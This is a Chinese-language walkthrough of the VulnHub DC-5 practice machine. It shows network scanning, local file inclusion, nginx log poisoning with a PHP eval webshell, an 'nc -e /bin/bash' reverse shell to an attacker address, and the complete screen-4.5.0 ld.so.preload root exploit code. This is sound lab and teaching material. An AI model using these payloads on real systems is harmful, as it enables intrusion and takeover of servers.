vulnhub-dc5靶机

靶机地址

https://www.vulnhub.com/entry/dc-5,314/

打开靶机,设置为同一种nat模式

kali 信息收集主机

arp-scan -l

请添加图片描述

扫描存活ip,开启80,111端口

nmap -sS -p- 192.168.1.243

请添加图片描述

访问目标网址发现contact可以上传

在这里插入图片描述

填写信息后上传发现异常

在这里插入图片描述

dirb 目录扫描

dirb http://192.168.1.243/thankyou.php?

填写信息后上传发现异常
在这里插入图片描述

抓包验证,修改文件路径file=/etc/passwd,可以发现系统对访问的文件没有做审核

在这里插入图片描述

更改路径为一句话木马,发送后返回404页面,配置nginx页面,在/var/log/nginx/access.log和/var/log/nginx/error.log记录状况

/poc  <?php @eval($_REQUEST[root]);?>

在这里插入图片描述

在这里插入图片描述

发现上传成功,通过蚁剑连接

在这里插入图片描述

kali 开启nc监听,在蚁剑终端进行反弹,连接不稳定使用python交互模式

nc -e /bin/bash 192.168.1.162 9999
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

使用以下命令寻找root权限无密码存在

find / -perm -u=s -type f 2>/dev/null

解析该命令

https://blog.csdn.net/chest_/article/details/102727490

在这里插入图片描述

通过命令搜索screen相关漏洞,找到screen-4.5.0

在这里插入图片描述

查看文件位置,并保存

searchsploit -p 41154.txt 

在这里插入图片描述
查看cat文件,三部分组成和编写命令

在这里插入图片描述

分别创建 libhax.c,rootshell.c

 libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
 __attribute__ ((__constructor__))
void dropshell(void){
    chown("rootshell", 0, 0);
    chmod("rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o libhax.so libhax.c

rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
gcc -o rootshell rootshell.c


dc5.sh   保存使用:set ff=unix 
#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

更改权限chmod +x dc5.sh,执行
在这里插入图片描述
参考链接:
https://blog.csdn.net/xdbzdgx/article/details/121411531
https://blog.csdn.net/Perpetual_Blue/article/details/124313391

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值